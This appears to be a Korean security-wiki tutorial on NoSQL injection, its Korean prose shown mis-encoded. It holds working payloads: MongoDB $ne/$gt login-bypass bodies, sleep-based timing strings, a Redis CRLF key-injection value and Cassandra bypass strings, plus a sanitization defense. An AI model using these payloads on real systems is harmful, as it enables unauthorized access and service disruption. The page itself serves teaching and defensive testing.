NoSQL Injection

๐Ÿ” Introduction

NoSQL Injection์€ SQL์„ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์œผ๋กœ ์•Œ๋ ค์ง„ DBMS๋ฅผ ์ œ์™ธํ•œ ๋‚˜๋จธ์ง€ Database์— ๋Œ€ํ•œ Injection ๊ณต๊ฒฉ์ž…๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์œผ๋กœ NoSQL ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋Š” ๊ธฐ์กด SQL ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ณด๋‹ค consistency check๊ฐ€ ๋Š์Šจํ•ฉ๋‹ˆ๋‹ค. NoSQL ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋Š” relational constraints์™€ consistency check๋ฅผ ๋œ ์š”๊ตฌํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์„ฑ๋Šฅ์ด๋‚˜ ํ™•์žฅ์—์„œ์˜ ์ด์ ์ด ํฝ์ง€๋งŒ SQL ๋ฌธ๋ฒ•์ด ์•„๋‹Œ ๊ฐ๊ฐ์˜ ์‹œ์Šคํ…œ์˜ ์ฟผ๋ฆฌ ๋ฌธ๋ฒ• ๋“ฑ์— ๋Œ€ํ•œ Injection ๊ณต๊ฒฉ์€ ๋™์ผํ•˜๊ฒŒ ์˜ํ–ฅ์„ ๋ฐ›์Šต๋‹ˆ๋‹ค.

NoSQL: Not only SQL, Non-Relational Operational Database

๊ทธ๋ž˜์„œ ๋Œ€์ƒ์ด ๊ต‰์žฅํžˆ ๋งŽ์€๋ฐ, MongoDB ๊ฐ™์€ Document Store ๋ถ€ํ„ฐ Hadoop, Cassandra ๋“ฑ Wide Column Store ๊ทธ๋ฆฌ๊ณ  Redis ๊ฐ™์€ Key Value / Tuple Store ๊นŒ์ง€ ๋งŽ์€ ์‹œ์Šคํ…œ์ด ๋Œ€์ƒ์ด ๋ฉ๋‹ˆ๋‹ค. NoSQL ์„œ๋น„์Šค์˜ ๋ฆฌ์ŠคํŠธ๋Š” ์•„๋ž˜ ๋งํฌ์—์„œ ํ™•์ธํ•ด์ฃผ์„ธ์š”.

๐Ÿ—ก Offensive techniques

Detect

ํ™•์ธํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•์€ SQL Injection๊ณผ ๋™์ผํ•ฉ๋‹ˆ๋‹ค. NoSQL์—์„œ ์‚ฌ์šฉํ•˜๋Š” ๋ฌธ๋ฒ•์ด๋‚˜ ํ‚ค์›Œ๋“œ ๋“ฑ์„ ์ด์šฉํ•˜์—ฌ ๋ฐฑ์—”๋“œ์— ์–ด๋–ค NoSQL์ด ์—ฐ๋™๋˜์–ด ์žˆ๋Š”์ง€ ์ถ”์ธกํ•˜๊ณ , ์ด๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ๊ฐœ๋ฐœ์ž๊ฐ€ ์˜๋„ํ•œ ์ฟผ๋ฆฌ๋ฅผ ๋ฒ—์–ด๋‚˜๋„๋ก ๊ณต๊ฒฉ ๊ตฌ๋ฌธ์„ ๋งŒ๋“ค์–ด ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Boolean-based

๊ฐ€์žฅ ๋Œ€ํ‘œ์ ์ธ ์˜ˆ์‹œ๋Š” MongoDB์—์„œ $ne(not equal), $gt(greater) ๋“ฑ์„ ์ด์šฉํ•˜์—ฌ ์ฐธ/๊ฑฐ์ง“์„ ์œ ๋„ํ•˜๋Š” ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค. ๋งŒ์•ฝ ์•„๋ž˜์™€ ๊ฐ™์€ ๋กœ๊ทธ์ธ ์š”์ฒญ์ด ์žˆ๋‹ค๊ณ  ๊ฐ€์ •ํ•œ๋‹ค๋ฉด ์ด๋ ‡๊ฒŒ ํ…Œ์ŠคํŠธํ•ด๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

1
2
3
POST /login HTTP/1.1

{"username": "userid", "password": "password"}
1
2
3
4
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}

์œ„ ์ผ€์ด์Šค๋“ค์„ ํ’€์–ด์„œ๋ณด๋ฉด {"username": {"$ne": null}, "password": {"$ne": null}} ๊ธฐ์ค€์œผ๋ก  username์ด null์ด ์•„๋‹ˆ๊ฑฐ๋‚˜, password๊ฐ€ null์ด ์•„๋‹Œ ๊ฒฝ์šฐ๋กœ MongoDB๋กœ ์ „๋‹ฌ๋˜๊ณ , MongoDB๋Š” ๋ฐ์ดํ„ฐ ๋‚ด ๋‘ ์กฐ๊ฑด์„ ๋งŒ์กฑํ•˜๋Š”์ง€ ์ฒดํฌํ•˜๊ณ  ํ†ต๊ณผ์‹œํ‚ค๊ธฐ ๋•Œ๋ฌธ์— ๋งŒ์กฑ๋˜์–ด ๋กœ๊ทธ์ธ์— ์„ฑ๊ณตํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

Time-based

sleep() ๊ตฌ๋ฌธ๊ฐ™์ด ๋”œ๋ ˆ์ด๋ฅผ ์ง€์›ํ•˜๋Š” NoSQL์˜ ๊ฒฝ์šฐ ์ด๋Ÿฌํ•œ ๊ตฌ๋ฌธ์„ ์ด์šฉํ•˜์—ฌ Response๊ฐ€ ๋„์ฐฉํ•˜๋Š” ์‹œ๊ฐ„์„ ๊ณ„์‚ฐํ•˜์—ฌ Blind๋กœ๋„ ์‹๋ณ„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค๋งŒ ์ด๋Ÿฌํ•œ ๋ฐฉ์‹์€ RCE์™€ ํ˜ผ๋™์ด ๋  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ๋งŒ์•ฝ Blind NoSQL Injection์„ ์ฐพ์•˜๋‹ค๋ฉด RCE๋‚˜ ๋‹ค๋ฅธ ์ทจ์•ฝ์ ์˜ ์—ฌ๋ถ€๋ฅผ ๊ฐ™์ด ์ฒดํฌํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค.

1
GET /findUser?userName=abcd';%20sleep(4000)'

Exploitation

SQL Injection๊ณผ ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ๊ณต๊ฒฉ์„ ํ†ตํ•ด NoSQL ๊ตฌ๋ฌธ์„ ํ†ต์ œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. NoSQL์ด ์„œ๋น„์Šค์— ์‚ฌ์šฉ๋˜๋Š” ๋ถ€๋ถ„์— ๋”ฐ๋ผ์„œ ์ธ์ฆ ์šฐํšŒ๋‚˜ ์ค‘์š”์ •๋ณด ํƒˆ์ทจ, ์บ์‹œ ๋ฐ์ดํ„ฐ ํƒˆ์ทจ ๋“ฑ์œผ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Bypass Authentication

1
2
3
4
5
6
{
  "username": "admin",
  "password": {
    "$ne": "hitttt"
  }
}

DoS

Source

1
2
3
4
5
6
Db.collection.find({
    $where: function(){
        Return (this.name == $userInput)
        }
    }
);

Attack

1
'; sleep(4000)'

More

์œ„์—์„œ ์ด์•ผ๊ธฐ๋“œ๋ ธ๋“ฏ์ด NoSQL์ด ์—ฐ๋™๋œ ๊ตฌ๊ฐ„์— ๋”ฐ๋ผ์„œ ์˜ํ–ฅ๋ ฅ์€ ๋„“์€ ๋ฒ”์œ„๋กœ ํ™•์žฅ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ธฐ๋ณธ์ ์œผ๋ก  ํ•ด๋‹น NoSQL ์‹œ์Šคํ…œ์— ๋Œ€ํ•œ CRUD(Creat/Read/Update/Delete), ๊ทธ๋ฆฌ๊ณ  ์‹œ์Šคํ…œ์—์„œ ์ œ๊ณตํ•˜๋Š” ๊ธฐ๋Šฅ์— ๋”ฐ๋ผ์„œ ์„œ๋น„์Šค์— ๋ฌธ์ œ๋ฅผ ๋งŒ๋“ค๊ฑฐ๋‚˜ ์‹œ์Šคํ…œ ํƒˆ์ทจ๊นŒ์ง€ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Payload of Targets

MongoDB

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
{"$gt": ""}
[$ne]=1
';sleep(5000);
';sleep(5000);'
';sleep(5000);+'
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);

Memcached/Redis

Set key

1
2
3
4
{
  "username": "admin\r\nset injected 0 3600 10\r\n123456789012345678901234567890\r\n",
  "password": "test"
}

Cassandra

Bypass Login

1
2
3
4
{
  "username": "admin' ALLOW FILTERING; %00",
  "password": "test"
}
1
2
3
4
{
  "username": "admin'/*",
  "password": "*/and pass>"
}

๐Ÿ›ก Defensive techniques

SQL Injection๊ณผ ๋™์ผํ•˜๊ฒŒ ์‚ฌ์šฉ์ž๋กœ๋ถ€ํ„ฐ ์ „๋‹ฌ๋ฐ›๋Š” ๊ฐ’์€ ์‹ ๋ขฐํ•˜์ง€ ์•Š์•„์•ผํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋ž˜์„œ ์‚ฌ์šฉ์ž ์ž…๋ ฅ ๊ฐ’์„ ๊ทธ๋Œ€๋กœ NoSQL์— ์ฒ˜๋ฆฌํ•˜๋Š” ๊ฒฝ์šฐ sanitize๋‚˜ nosql์— ๋Œ€ํ•œ protection ๋กœ์ง์„ ์ˆ˜ํ–‰ํ•œ ํ›„ ๊ฐ’์„ ๋„˜๊ฒจ์ค˜์•ผ ํ•ฉ๋‹ˆ๋‹ค.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
var sanitize = require('mongo-sanitize');
app.post('/user', function (req, res) {
    var query = {
        username: sanitize(req.body.username),
        password: sanitize(req.body.password)
    }
    db.collection('users').findOne(query, function (err, user) {
        console.log(user);
    });
});

๐Ÿ•น Tools

๐Ÿ“š Articles

๐Ÿ“Œ References

Licensed under CC BY-NC-SA 4.0
Last updated on Jun 18, 2022 22:01 +0900